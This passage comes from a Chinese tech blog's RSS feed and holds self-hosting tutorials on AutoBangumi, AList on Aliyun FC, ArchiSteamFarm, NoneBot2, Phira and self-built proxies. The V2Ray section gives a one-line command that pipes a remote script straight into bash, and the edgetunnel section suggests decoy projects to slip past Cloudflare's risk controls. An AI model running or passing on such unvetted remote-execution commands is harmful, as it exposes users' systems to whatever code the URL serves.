image: ghcr.io/estrellaxd/auto_bangumi:latest
|
||
container_name: AutoBangumi
|
||
volumes:
|
||
- ./config:/app/config
|
||
- ./data:/app/data
|
||
ports:
|
||
- "7892:7892"
|
||
network_mode: bridge
|
||
restart: unless-stopped
|
||
dns:
|
||
- 223.5.5.5
|
||
environment:
|
||
- TZ=Asia/Shanghai
|
||
- PGID=$(id -g)
|
||
- PUID=$(id -u)
|
||
- UMASK=022
|
||
</code></pre>
|
||
<ol>
|
||
<li>
|
||
<p>运行命令:docker compose up -d</p>
|
||
</li>
|
||
<li>
|
||
<p>进入localhost:7892 ,默认账号:admin,默认密码:adminadmin</p>
|
||
</li>
|
||
<li>
|
||
<p>点左边的设置图标 -&gt; 下载设置,填入下载器信息,然后点击右下角的应用,直到右上角亮绿灯</p>
|
||
</li>
|
||
</ol>
|
||
<p><img src="https://blog.acofork.com/_astro/94f407121de7816ee2dff78f948dcc2ded27b28f.DywiQ2_k.webp" alt="QmbVcrgZ2C2FTt6QdfKsUkVQz9SCiQiyq1WCbphDiGW2mM.webp" /></p>
|
||
<ol>
|
||
<li>
|
||
<p>前往蜜柑计划,注册账号,并订阅你想要的番剧(复制)
|
||
<img src="https://blog.acofork.com/_astro/0e22eab8db6ed2441f3d3be0b10d51944867df0a.BIC84FGQ.webp" alt="QmXq7DcBkA4EecJikQE4snvPkNU2NQLy1EXUpAructteah.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>回到 AutoBangumi,点击右上角的 +,添加 RSS(粘贴)</p>
|
||
</li>
|
||
<li>
|
||
<p>静静等待,不出意外 AutoBangumi 会自动下载你订阅的番剧了(如果没有可以查看AutoBangumi的日志,或者尝试重启容器)</p>
|
||
</li>
|
||
</ol>
|
||
<h3>下载旧集或已完结番剧</h3>
|
||
<p>首先推荐几个资源网(梯子自备):</p>
|
||
<ol>
|
||
<li><a href="https://acg.rip">ACG.RIP</a></li>
|
||
<li><a href="https://share.acgnx.se">末日动漫资源网</a></li>
|
||
<li>蜜柑计划 国内直连:1. https://mikanime.tv 2. https://hadestian.cn 3. https://mk.misakaae.com 4. https://mikan.yujiangqaq.com 5. RSS镜像站:https://mikanani.longc.top</li>
|
||
<li>蜜柑计划 需翻墙:https://mikanani.me
|
||
然后找你想要的番剧下载</li>
|
||
</ol>
|
||
<h4>规范重命名</h4>
|
||
<blockquote>
|
||
<p>为了让软件能正确刮削元数据和剧集,我们需要规范重命名。</p>
|
||
</blockquote>
|
||
<p>注意!你只需要确保番剧名正确就可以了!子目录可以通过后面的脚本自动重命名!如果你不确定番剧名请前往TMDB搜索:<a href="themoviedb.org">The Movie Database (TMDB) </a></p>
|
||
<blockquote>
|
||
<p>一级目录(qb 设置的下载目录):不需要重命名</p>
|
||
</blockquote>
|
||
<blockquote>
|
||
<p>二级目录(番剧名,必须正确):总之就是非常可爱</p>
|
||
</blockquote>
|
||
<blockquote>
|
||
<p>三级目录:(番剧的哪一季):Season 1</p>
|
||
</blockquote>
|
||
<blockquote>
|
||
<p>四级目录:(番剧的哪一季的哪一集):S01E01.MP4</p>
|
||
</blockquote>
|
||
<ol>
|
||
<li>
|
||
<p><s>前往Episode-ReName,克隆仓库</s> <s>(已被删库,可尝试<a href="https://alist.onani.cn/Episode-ReName.zip">Episode-ReName.zip | Onani-AList</a> )</s> AList已死,请尝试天翼云盘: https://cloud.189.cn/web/share?code=iQVjUnzE7fQj (访问码:i8sk)</p>
|
||
</li>
|
||
<li>
|
||
<p>Win 可以通过右键菜单自动获取路径版.bat 通过右键一级目录选择自动剧集命名 。若使用.py 脚本则只能通过<code>python3 EpisodeReName.py "D:/qbdownloads/bangumi"</code></p>
|
||
</li>
|
||
</ol>
|
||
<p><strong>小贴士:</strong> 可以使用<a href="https://onani.cn/RaiDrive">RaiDrive</a>或<a href="/SSHFS">SSHFS</a>将远程的Linux文件映射到Windows上,管理番剧更方便
|
||
<img src="https://blog.acofork.com/_astro/5cf6dfe73164f6a869a59817df53f939e936ab00.ZkNAu3Fr.webp" alt="QmY7KM2MjudNksqvSkkFmwFgjjdD7ZQKLDaVPXR3jnXoxw.webp" /></p>
|
||
<h3>安装 Plex(或者安装飞牛云NAS)</h3>
|
||
<blockquote>
|
||
<p>用于观看番剧</p>
|
||
</blockquote>
|
||
<ol>
|
||
<li>
|
||
<p>下载Plex Media Server</p>
|
||
</li>
|
||
<li>
|
||
<p>启动。默认端口 32400(如果进去是一堆乱码,添加/web后缀。例如:192.168.124.25:32400/web)</p>
|
||
</li>
|
||
<li>
|
||
<p>选择你的媒体库文件夹</p>
|
||
</li>
|
||
<li>
|
||
<p>开启远程访问,右上角设置 -&gt; 远程访问</p>
|
||
</li>
|
||
</ol>
|
||
<p>图为飞牛影视</p>
|
||
<p><img src="https://blog.acofork.com/_astro/acbde8bfd7395a8b5c744b9f1c550f3caac6c342.iHuYMdka.webp" alt="Qmf8Q1D9fUoFbu9MQsQHvaz13p3YV2XguR3RqUAse2KBEa.webp" /></p>
|
||
<p>爽看</p>
|
||
</content:encoded></item><item><title>我买了个新NAS...</title><link>https://blog.acofork.com/posts/new-nas/</link><guid isPermaLink="true">https://blog.acofork.com/posts/new-nas/</guid><description>你可能不知道,我曾经购入过一台N100迷你主机,不久后便卖掉了,不过现在我又购入了,这是为什么呢?</description><pubDate>Sun, 23 Feb 2025 00:00:00 GMT</pubDate><content:encoded><h1>我为什么在很久之前买了一个NAS(?存疑</h1>
|
||
<p>这其实是一个老生常谈的问题,就像你问我为什么要开始写博客,我也只能给你一个答案,我想这么做。</p>
|
||
<p>好吧好吧,这个答案可能过于敷衍,如果让我仔细想想,应该说当时我已经有了不少的Linux理论知识和实操经验(通过云服务器),所以就想自己弄一个24h小时不关机的小主机放在家里玩(家里云)。</p>
|
||
<p>一开始,我只是用它挂了QQBot,这也是我最初最想要干的事情,因为如果我去花钱买国内的云服务器挂Bot那太贵了,国外的服务器延迟又太高,拿自己的手机电脑是一个很好的选择,我的朋友就曾使用过Shamrock(???)来挂Bot。不过这并不适用于我,在当时,我的所有设备(包括手机、平板、电脑)都各司其职,还要天天陪我出勤,根本做不到24h不关机,我总不能说我电脑/手机/平板断网Bot就下线吧,而且我也很讨厌将个人设备的一部分作为服务器使用,就像你在玩崩坏:星穹铁道的时候后台挂着Stable Diffusion一样 <s>(而且不符合Unix哲学)</s>。</p>
|
||
<p>其实很早我就曾使用过旧手机+Termux达到家里云的效果了,但是因为手机芯片是Arm64,而大部分运维软件都是AMD64(x86)架构的。对于开源软件还好说,只需要自己费劲编译一个版本 <s>(或者嫖Github Action的编译)</s> 就可以去使用了。
|
||
但是对于经常摸云服务器的我来说,还是喜欢x86架构的开箱即用,也可以顺势装上一些运维管理面板辅助使用。</p>
|
||
<p>那么就只有一个解了,那就是买一个x86小主机。你可能注意到了,我说了这么久我为什么要买一个x86小主机作为家里云使用,但是通篇没有提NAS三个字,这是为什么呢,正所谓饱暖思淫欲。</p>
|
||
<p>如果仅仅花了大价钱买了个家里云就放着吃灰绝对是不行的,所以那段时间我就开始天天折腾,但实际上来说那一款小主机并不适合作为NAS。我们都知道NAS中文叫做网络附属存储,那么既然是网络附属<strong>存储</strong>,那必然要干什么?欸对!狠狠塞盘!但是实际上那一款小主机只有一个M.2和一个SATA插槽,而且M.2已经作为系统盘了,而SATA插槽也是只能插2.5寸的硬盘。</p>
|
||
<p>人话来说,这完全就不是一个NAS,单盘位算NAS吗?只是一个容量比较大的家里云罢了。我说到这里你可能都会在想,那你为什么还要买呢?欸这你就不知道了,我曾经在2017年买过一个ASUS的双核笔记本,而当时这个智商税笔记本用的硬盘就是2.5寸的机械硬盘,高达512G,虽然这个主机做不了RAID,也塞不进多盘 <s>(其实可以,后续我通过后面的USB接口外置硬盘盒做到了一个极其不稳定的RAID0)</s> ,但是它确实能做到24h不关机,N100的性能也足够用,也够我折腾各种乱七八糟的东西了。</p>
|
||
<p>于是在那段时间我便在这个小主机上搭建了不少服务也装过不少系统,基本把常用Linux发行版全跑了一遍,也体验了PVE里面跑飞牛的嵌套操作,那段时间天天都有新东西可以折腾,还是很爽的。</p>
|
||
<h1>那么话又说回来,既然我已经卖掉了那个小主机,这又是为什么呢?</h1>
|
||
<p>缺钱,但是不知道在缺什么钱。哈哈,写到这里真是把我也笑到了,从众心理是真的很害人,我们都知道2024年末苹果发布了Mac Mini,16+256G+教育优惠不到4k就能买到全新机,而恰巧我的一位朋友提机了然后跟我聊这玩意怎么怎么好,然后一时上头就把能当的全部当了 <s>(我纱布一个,不仅是小主机惨遭毒手,还有Redmi Book Pro 15S,Redmi G,XiaomiPad 6等等)</s> 。</p>
|
||
<p>总算是凑够钱线下提机了,到手傻眼了,苹果的M4芯片是Arm架构的,很多东西都跑不了,Docker调用不了GPU,说白了这东西对我来说就是,性能强大的家庭服务器,但是我不会用,那么聪明的二叉树树做了一件什么事呢?在可以7天无理由的情况下毅然决然挂到闲鱼,以高价3333人民币卖出 <s>(购入是4k左右,折下来净亏1k)</s> 。</p>
|
||
<p>最后在假期余额即将不足的最后拿这个3333人民币购入了一款一加Ace 5 Pro 16+512 国家补贴-500,最终3299人民币到手的超高性能甜品机。</p>
|
||
<h1>主播主播,你的操作还是太笨比了,后续有没有什么更笨比的操作啊!</h1>
|
||
<p>有的,兄弟有的,就在刚刚!下单了一个新NAS,我已经准备好通宵搞机了。我的一位朋友曾说人生在于折腾,但可惜那时我已经佛了,被各种事情忙的不可开交。但是话又说回来,现在,我前所未有的感到空闲,我将带领我的大脑,我的身体,我的精神,开启一场前所未有的熬夜、搞机、折腾、坐牢盛宴</p>
|
||
<p>哈哈!我一定要活下去口牙!</p>
|
||
<p>后续搞机有成也会写新博文的,确实很久没写了,我向大家道歉,看着网站每天20的日活真的要哭了,你们都不来找我呜呜呜呜呜呜呜</p>
|
||
</content:encoded></item><item><title>利用阿里云云函数 FC 搭建AList后端,每月仅需5毛!</title><link>https://blog.acofork.com/posts/alist-for-aliyun/</link><guid isPermaLink="true">https://blog.acofork.com/posts/alist-for-aliyun/</guid><description>阿里云云函数 FC是一个弹性的计算平台,可托管多种服务。搭配AList的前后端分离部署,实现比VPS更低的价格,得到更好的体验</description><pubDate>Mon, 13 Jan 2025 00:00:00 GMT</pubDate><content:encoded><h1>还是建议购买一个便宜的云服务器来部署或者用家里云,这种方法很灵车</h1>
|
||
<p>推荐Akile:https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e</p>
|
||
<hr />
|
||
<h1>原理</h1>
|
||
<ol>
|
||
<li>AList前端有一个专门的项目:https://github.com/AlistGo/alist-web 。可前往<a href="/alist-web">AList-Web部署教程</a>。教程使用了Cloudflare Page进行前端部署,我们更建议你使用 https://vercel.com 来进行前端部署,因为更快。这些都完全免费</li>
|
||
<li>部署完毕前端后,我们就需要一个后端,它需要能够执行AList的二进制文件,并且能开放端口(默认为5244)来让前端可以和后端相互通信。在传统情况下我们会选择购买一台云服务器,或者用自己的电脑/家里云+Cloudflare Tunnel又或者是Serv00这种免费的托管。本篇我们使用阿里云FC函数计算,它虽然可以运行二进制文件,但是和传统架构大相径庭,我们要深入了解。</li>
|
||
<li>FC函数是一个实例性服务。用户可以创建函数部署服务,当一定条件被触发(比如HTTP触发器)则创建新的实例开始运行用户的服务。也就是说这个实例是无状态的,如果直接拿来部署AList就会导致第一次配置完毕后过一段时间再访问就会变为初始状态。就算你一开始就使用一个全量包来部署,在部署后也无法对其进行更改,所以我们需要绑定一个NAS文件系统,用于数据持久化。但是NAS文件系统并不能直接绑定到代码的运行时 /code/xxx 目录,我们可以使用AList的指定配置文件参数,将NAS绑定到 /mnt/AList 然后指定配置文件到 /mnt/AList 。也就是通过 <strong>./alist server --data /mnt/AList</strong> 命令来启动,这样就做到了数据持久化。</li>
|
||
</ol>
|
||
<h1>关于计费</h1>
|
||
<ol>
|
||
<li>FC函数通过CU数来收费</li>
|
||
<li>NAS通过存储空间来收费</li>
|
||
</ol>
|
||
<h1>实操</h1>
|
||
<ol>
|
||
<li>我们假设你已经部署完毕了前端。前端和后端的通信地址在根目录的 env.production 文件定义</li>
|
||
<li>我们目前并不知道这个后端URL如何填写,因为这个URL是由阿里云在FC函数创建完毕的时候才会展示,所以我们暂且搁置到一遍</li>
|
||
<li>接下来我们前往阿里云-函数计算FC官网 https://fcnext.console.aliyun.com/overview</li>
|
||
<li>依次点击 左侧边栏的 函数 -&gt; 创建函数 -&gt; Web函数。进入到创建Web函数的页面</li>
|
||
<li>函数名称填写AList,运行环境选择Debian 10或Debian 11,代码上传方式选择从文件夹上传代码,启动命令填写:<strong>./alist server --data /mnt/AList</strong>,监听端口填写5244</li>
|
||
<li>我们需要上传代码到函数,也就是AList的二进制文件,我们前往 https://github.com/AlistGo/alist/releases/latest 下载最新的Linux AMD64架构的二进制文件,也就是 <strong>alist-linux-amd64.tar.gz</strong>。将其解压,你会得到一个名为 <strong>alist</strong>的二进制文件,创建一个空文件夹将其放进去,然后上传这个文件夹到函数</li>
|
||
</ol>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/QmdajYeRyt1u3BSmRdGx8uUHKamGDkwoRe4TmEFZsJsaqS.png" alt="image" /></p>
|
||
<ol>
|
||
<li>
|
||
<p>然后点击左下角的创建</p>
|
||
</li>
|
||
<li>
|
||
<p>然后你会进入到函数的控制面板,依次点击 配置 -&gt; 网络 -&gt; 网络 编辑 -&gt; 允许访问VPC:是 -&gt; 自动配置。依次点击 配置 -&gt; 存储 -&gt; NAS文件存储 编辑 -&gt; 挂载 NAS 文件系统:启用 -&gt; 自动配置。依次点击 日志 -&gt; 开通日志服务</p>
|
||
</li>
|
||
<li>
|
||
<p>现在回到 代码 界面,点击部署代码。稍等片刻会提示部署成功,然后点击 函数详情内的 HTTP触发器 ,复制公网访问地址。这个就是我们前文提到的要写到前端根目录的 env.production 文件的URL,将其填写进去,例如</p>
|
||
<pre><code>VITE_API_URL = "https://aliyun-fc-alist.run"
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p>提交你的新更改,前端会自动重新构建</p>
|
||
</li>
|
||
<li>
|
||
<p>尝试直接访问你的AList前端URL,它应该会顺利进入到AList的登录页面</p>
|
||
</li>
|
||
<li>
|
||
<p>此时查看控制面板的 实例 是否有一条新的实例正在工作,如果有,再前往日志查看该实例日志,你会看到AList初始化时生成的管理员密码,拿这个密码到前端URL登录AList,然后就可以正常使用了</p>
|
||
</li>
|
||
</ol>
|
||
<hr />
|
||
<h1>疑难解答</h1>
|
||
<ol>
|
||
<li>如果出现正在加载储存:
|
||
<img src="https://eo-r2.2x.nz/myblog/img/QmZVewYnKwCJzcShnkGTTVZJiTSUUSQi9u6pZ5rXRDK3rK.png" alt="9aa460cd2dc84e1debe43e9df2d342fc" />
|
||
查看你的日志,是否有存储加载失败,如果有可以尝试:
|
||
<ol>
|
||
<li>反复重新部署,直到能进后台然后删除那些加载失败的存储</li>
|
||
<li>https://github.com/AlistGo/alist/discussions/3976</li>
|
||
</ol>
|
||
</li>
|
||
</ol>
|
||
</content:encoded></item><item><title>使用ArchiSteamFarm进行Steam自动挂卡</title><link>https://blog.acofork.com/posts/asf/</link><guid isPermaLink="true">https://blog.acofork.com/posts/asf/</guid><description>ArchiSteamFarm是一个Steam自动挂卡工具,它可以自动识别哪些游戏没有挂卡并且自动挂卡,高效率获得Steam集换式卡牌</description><pubDate>Wed, 18 Dec 2024 00:00:00 GMT</pubDate><content:encoded><h1>可用的目标作业系统</h1>
|
||
<p>Windows x86/Arm64
|
||
Linux x86/Arm64/Arm32
|
||
OS X x86/Arm64
|
||
(和其余任何可以获取有效 .NET Core 运行时的地方工作。基于Github仓库源码手动编译)</p>
|
||
<h1>安装&amp;使用 ArchiSteamFarm</h1>
|
||
<p>https://github.com/JustArchiNET/ArchiSteamFarm</p>
|
||
<p>或前往Release:https://github.com/JustArchiNET/ArchiSteamFarm/releases/latest</p>
|
||
<p>下载你适用于你作业系统的可执行文件的压缩包</p>
|
||
<p>启动ArchiSteamFarm
|
||
等待终端输出WebUI地址,进入</p>
|
||
<p>添加机器人,简单配置即可</p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/QmcoF7K5sTkd4CRGTZPmnLwheAHpSf68RkZTd4ZST41uXc.png" alt="image" /></p>
|
||
<p>如果你配置了Steam手机验证器,此时应该会弹出登录请求,允许它。然后前往终端界面输入 <strong>Y</strong> 并回车
|
||
此时终端应该输出:<strong>成功以 XXXXXXXXXX 的身份登录。</strong></p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/QmcuktSJjWFmufsLmrYRsbLa9ns7pvRXKWZ5EUyirasKt6.png" alt="image" /></p>
|
||
<p>如果此时登录的账号未被占用,则自动开始挂卡。</p>
|
||
<hr />
|
||
<p>ASF并不会干扰你的正常使用Steam的行为,当账号被占用时,ASF会暂停挂卡,直到账号未被占用,这个过程是全自动的,无需手动干涉</p>
|
||
<hr />
|
||
<p>ASF可以视为一个无头Steam客户端,它不仅能挂卡,还能做更多事情,详见:https://github.com/JustArchiNET/ArchiSteamFarm/wiki</p>
|
||
</content:encoded></item><item><title>关于Rewrite MV无法播放\没有画面的解决方法</title><link>https://blog.acofork.com/posts/rewrite-qa/</link><guid isPermaLink="true">https://blog.acofork.com/posts/rewrite-qa/</guid><description>Rewrite打完才发现MV一个没看到</description><pubDate>Thu, 28 Nov 2024 00:00:00 GMT</pubDate><content:encoded><h1>我使用的解决方法(Windows 10及以上带有Microsoft Store的系统)</h1>
|
||
<p>安装这个即可</p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/bafkreieb2qknggudxx7sc723jheso6grhgemznjqb5n6yqwsrvgqkqn4ba.png" alt="image" /></p>
|
||
<p>然后游戏内改为Windows Media Player</p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/bafkreihujn3jctibvixv4trpsu5j4d2v7de2ibzea6xe6pzmithymffpqu.png" alt="image" /></p>
|
||
<h1>汉化组提供的解决方法</h1>
|
||
<p>安装:<a href="https://www.codecguide.com/download_k-lite_codec_pack_basic.htm">K-Lite Basic解码器</a></p>
|
||
<p>然后游戏内改为 MCI</p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/bafkreic7a3tnnoxyn646tzy35nec2oioz4ktffuizb5ge67ibww5ntnmpq.png" alt="image" /></p>
|
||
</content:encoded></item><item><title>自建正向代理服务器</title><link>https://blog.acofork.com/posts/vpn/</link><guid isPermaLink="true">https://blog.acofork.com/posts/vpn/</guid><description>不要再买机场了!自建它不香吗?!</description><pubDate>Fri, 22 Nov 2024 00:00:00 GMT</pubDate><content:encoded><h1>将Cloudflare作为代理使用(Vless - EdgeTunnel)</h1>
|
||
<p>下面内容参考自:<a href="https://vercel.blog.cmliussss.com/p/CM24/">CF VLESS 从入门到精通 cmliu/edgetunnel 必看内容 免费节点 优选订阅 Workers &amp; Pages CM喂饭干货满满24 | CMLiussss Blog</a> 请支持原创作者!</p>
|
||
<ol>
|
||
<li>https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到你的Cloudflare Pages项目(没有Cloudflare账号?先去因特网上搜索教程注册一个!如果遇到卡慢可以试试看科学上网)</li>
|
||
<li>进入 https://it-tools.tech/uuid-generator 随机获取一个uuid</li>
|
||
<li>添加一个名称为<code>UUID</code>的变量绑定,值为第二步随机获取的(请不要泄露给他人!)</li>
|
||
<li>重新上传第一步的<code>main.zip</code>。让Cloudflare重新部署page以适配新变量</li>
|
||
<li>前往Pages项目 -&gt; 自定义域:绑定自定义域名。(没有域名?推荐 https://nic.us.kg https://www.cloudns.net 。可以自行前往因特网搜索教程,这里不再赘述。也可以不绑定,直接使用cf分配的<code>pages.dev</code>域名。但是,部分地区<code>pages.dev</code>可能无法访问或者较易和谐)</li>
|
||
<li>通过 <code>https://你的自定义域名/uuid</code> 查看仪表盘</li>
|
||
<li>如图复制链接,打开V2Ray,导入。V2Ray客户端下载地址在文章最后</li>
|
||
<li><img src="https://blog.acofork.com/_astro/2024-11-24-00-17-22-image.CV7lj7wP.png" alt="" /></li>
|
||
<li>500Mbps的移动宽带,通过edgetunnel测速速度如下。测速网址: https://fast.com</li>
|
||
<li><img src="https://blog.acofork.com/_astro/2024-11-22-09-08-38-image.B4XMFUbW.png" alt="" /></li>
|
||
<li>如果你就是想要最低延迟,可以去用cfnat,这里放一个Windows的链接: https://www.youtube.com/watch?v=N2Y9TsiBgls 其他平台可以自行前往CM的YouTube查找</li>
|
||
<li><strong>注意!edgetunnel近期在Cloudflare新号上可能会报错1101,这可能并不是你的配置问题,而是被cf风控了。解决方案是删除原项目重新部署一遍,不要用一样的项目名!你也可以多弄几个其他的正常pages或workers项目做伪装!博主使用新号实测被gank了3次(每一次都换名字删除pages然后重新部署),然后一直稳定到现在</strong></li>
|
||
<li><strong>本人实测在全天使用edgetunnel的情况下已经使用了大部分的配额,所以请不要将自己的项目分享给别人,也不要拿去卖!自己注册简简单单!</strong></li>
|
||
<li>如图为博主半天的使用量:我只是上了上Telegram~</li>
|
||
<li><img src="https://blog.acofork.com/_astro/2024-11-26-16-07-50-image.DZ-6NWUW.png" alt="" /></li>
|
||
</ol>
|
||
<h1>将你自己的国外VPS作为代理使用</h1>
|
||
<h2>使用新协议:Hysteria2</h2>
|
||
<p>可以前往这两个仓库进行一键安装~</p>
|
||
<p><a href="https://github.com/0x0129/hysteria2">https://github.com/0x0129/hysteria2</a></p>
|
||
<p><a href="https://github.com/seagullz4/hysteria2">https://github.com/seagullz4/hysteria2</a></p>
|
||
<p>大致安装过程:自签名,不使用acme,不使用端口跳跃</p>
|
||
<p>客户端(Hiddify):</p>
|
||
<p><a href="https://github.com/hiddify/hiddify-app">https://github.com/hiddify/hiddify-app</a></p>
|
||
<p>其他客户端在第二个Github Repo获取</p>
|
||
<h2>使用旧协议:V2Ray</h2>
|
||
<p><a href="https://github.com/233boy/v2ray">https://github.com/233boy/v2ray</a></p>
|
||
<p>VPS安装脚本:<code>bash &lt;(curl -s -L https://git.io/v2ray.sh)</code></p>
|
||
<p>详细安装:脚本执行完毕后输入<code>v2ray</code>更改配置为Shadowsocks</p>
|
||
<p>Windows客户端: <a href="https://github.com/2dust/v2rayN/releases">Releases · 2dust/v2rayN · GitHub</a></p>
|
||
<p>Android客户端: <a href="https://github.com/2dust/v2rayNG/releases">Releases · 2dust/v2rayNG · GitHub</a></p>
|
||
</content:encoded></item><item><title>使用NoneBot2搭建你的QQBot!</title><link>https://blog.acofork.com/posts/qqbot/</link><guid isPermaLink="true">https://blog.acofork.com/posts/qqbot/</guid><description>使用NapCat连接NoneBot2,打造自己的聊天机器人</description><pubDate>Wed, 20 Nov 2024 00:00:00 GMT</pubDate><content:encoded><h1>安装 NapCat(Win)</h1>
|
||
<blockquote>
|
||
<p>用于登录 QQ 实现收发消息</p>
|
||
</blockquote>
|
||
<ol>
|
||
<li>
|
||
<p>进入<a href="https://github.com/NapNeko/NapCatQQ/releases/latest">Release NapCat V4.1.12 · NapNeko/NapCatQQ · GitHub</a>,下载<code>NapCat.Shell.zip</code></p>
|
||
</li>
|
||
<li>
|
||
<p>将其解压到一个单独的文件夹,然后打开命令行,运行<code>launcher.bat &lt;BOT QQ号&gt;</code></p>
|
||
</li>
|
||
<li>
|
||
<p>运行后通过手机扫码登录</p>
|
||
</li>
|
||
<li>
|
||
<p>它会打印本地控制台的地址信息,如:<code>[NapCat] [WebUi] WebUi Local Panel Url: http://127.0.0.1:6099/webui?token=4xldg5fqb1</code></p>
|
||
</li>
|
||
<li>
|
||
<p>直接进入,如图配置即可(端口号可以自己修改,但是要和下部分NoneBot2监听的端口一致。这里是9090)<img src="https://blog.acofork.com/_astro/2024-11-20-19-21-21-2024-11-20-19-15-39-image.BBcDFQRe.webp" alt="" /></p>
|
||
</li>
|
||
</ol>
|
||
<h1>安装 NoneBot2</h1>
|
||
<p>用于实现逻辑,控制 NapCat 收发消息</p>
|
||
<ol>
|
||
<li>
|
||
<p>首先,你得装<a href="https://www.python.org/downloads/">Python</a>。Windows可以使用 https://scoop.sh/</p>
|
||
</li>
|
||
<li>
|
||
<p>pypi 清华源:<code>pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple</code></p>
|
||
</li>
|
||
<li>
|
||
<p>装 pipx:<code>pip install pipx</code>。你也可以使用<code>scoop install pipx</code></p>
|
||
</li>
|
||
<li>
|
||
<p>设置 pipx 全局变量:<code>pipx ensurepath</code></p>
|
||
</li>
|
||
<li>
|
||
<p>装 nb-cli:<code>pipx install nb-cli</code></p>
|
||
</li>
|
||
<li>
|
||
<p><strong>如果找不到 nb 命令:</strong> 对于 root 用户,你可以编辑 <code>/root/.bashrc</code> 或 <code>/root/.profile</code>(如果你使用的是 Bash): <code>nano /root/.bashrc</code> 添加以下行: <code>export PATH="$HOME/.local/bin:$PATH"</code> 保存并重新加载配置: <code>source /root/.bashrc</code></p>
|
||
</li>
|
||
<li>
|
||
<p>装 nb bootstrap:<code>nb self install nb-cli-plugin-bootstrap</code></p>
|
||
</li>
|
||
<li>
|
||
<p>新建项目,选一个你喜欢的文件夹,然后:<code>nb bs</code> (看不懂的就一路回车)</p>
|
||
</li>
|
||
</ol>
|
||
<p>示例:</p>
|
||
<pre><code>C:\afbot&gt;nb bs
|
||
加载适配器列表中……
|
||
请输入项目名称
|
||
[?] 请输入 &gt; onanibot
|
||
[?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议)
|
||
请输入 Bot 超级用户,超级用户拥有对 Bot 的最高权限(如对接 QQ 填 QQ 号即可)(留空回车结束输入)
|
||
[?] 第 1 项 &gt;
|
||
请输入 Bot 昵称,消息以 Bot 昵称开头可以代替艾特(留空回车结束输入)
|
||
[?] 第 1 项 &gt;
|
||
请输入 Bot 命令起始字符,消息以起始符开头将被识别为命令,
|
||
如果有一个指令为 查询,当该配置项中有 "/" 时使用 "/查询" 才能够触发,
|
||
留空将使用默认值 ['', '/', '#'](留空回车结束输入)
|
||
[?] 第 1 项 &gt;
|
||
请输入 Bot 命令分隔符,一般用于二级指令,
|
||
留空将使用默认值 ['.', ' '](留空回车结束输入)
|
||
[?] 第 1 项 &gt;
|
||
请输入 NoneBot2 监听地址,如果要对公网开放,改为 0.0.0.0 即可
|
||
[?] 请输入 &gt; 127.0.0.1
|
||
请输入 NoneBot2 监听端口,范围 1 ~ 65535,请保证该端口号与连接端配置相同,或与端口映射配置相关
|
||
[?] 请输入 &gt; 8080
|
||
[?] 是否在项目目录中释出快捷启动脚本? Yes
|
||
[?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot? Yes
|
||
[?] 是否使用超级用户 Ping 指令回复插件? Yes
|
||
[?] 是否安装 logpile 插件提供日志记录到文件功能? Yes
|
||
[?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot?(该插件仍在开发中,不推荐用于生产环境) No
|
||
成功新建项目 onanibot
|
||
[?] 是否新建虚拟环境? Yes
|
||
正在 C:\afbot\onanibot\.venv 中创建虚拟环境
|
||
创建虚拟环境成功
|
||
[?] 是否需要修改或清除 pip 的 PyPI 镜像源配置? No
|
||
[?] 是否立即安装项目依赖? Yes
|
||
正在安装项目依赖
|
||
依赖安装成功
|
||
[?] 请选择需要启用的内置插件
|
||
项目配置完毕,开始使用吧!
|
||
</code></pre>
|
||
<ol>
|
||
<li>
|
||
<p>项目创建完毕后启动:<code>nb run</code></p>
|
||
</li>
|
||
<li>
|
||
<p>出现:<code>[INFO] nonebot | OneBot V11 | Bot XXXXXXXXXX connected</code> 你就成功连接上 Lagrange 了</p>
|
||
</li>
|
||
<li>
|
||
<p>测试,发个<code>/ping</code>,看是否出现Pong~</p>
|
||
</li>
|
||
<li>
|
||
<p>如果你要调试 NoneBot2,请先使用<code>nb</code> 进入虚拟环境。然后使用<code>pip install &lt;包名&gt;</code></p>
|
||
</li>
|
||
</ol>
|
||
</content:encoded></item><item><title>Phira多人联机服务器搭建/使用教程</title><link>https://blog.acofork.com/posts/phira-mp/</link><guid isPermaLink="true">https://blog.acofork.com/posts/phira-mp/</guid><description>懒人可以直接下载预构建的可执行文件,但如果想获得日志需要自备Rust环境</description><pubDate>Wed, 06 Nov 2024 00:00:00 GMT</pubDate><content:encoded><h1>直接下载服务端文件并运行</h1>
|
||
<p><a href="https://github.com/afoim/phira-mp-autobuild">https://github.com/afoim/phira-mp-autobuild</a></p>
|
||
<p>这里有一些由Github Action自动构建的服务端文件,涵盖以下系统和架构<img src="https://blog.acofork.com/_astro/2024-11-06-08-28-34-image.CXHLEJ13.webp" alt="" /></p>
|
||
<p>也可以前往<a href="https://phira.dmocken.top/Multiplayer%20Server%E5%A4%9A%E4%BA%BA%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8">Multiplayer Server | Dmocken的Phira下载站</a>自行寻找</p>
|
||
<p>寻找适用于你的系统的文件,下载下来并执行即可。默认服务端将会在你的主机12346端口上开放,如果需要自定义端口,请使用<code>--port</code>参数指定端口。然后即可使用Phira来填写IP/域名:端口来连接</p>
|
||
<p>*如果要显示Log,请使用 <code>RUST_LOG=debug ./xxx</code> 去运行,默认日志等级是 <code>WARN</code></p>
|
||
<p>如果这些文件不适用于你正在使用的系统请前往<a href="#%E8%87%AA%E8%A1%8C%E6%9E%84%E5%BB%BA%E9%AB%98%E7%BA%A7">自行构建(高级)</a>继续阅读</p>
|
||
<h1>自行构建(高级)</h1>
|
||
<p>由于phira-mp使用Rust编写,若想要自行构建需要在你的操作系统上安装Rust环境</p>
|
||
<h2>对于Windows</h2>
|
||
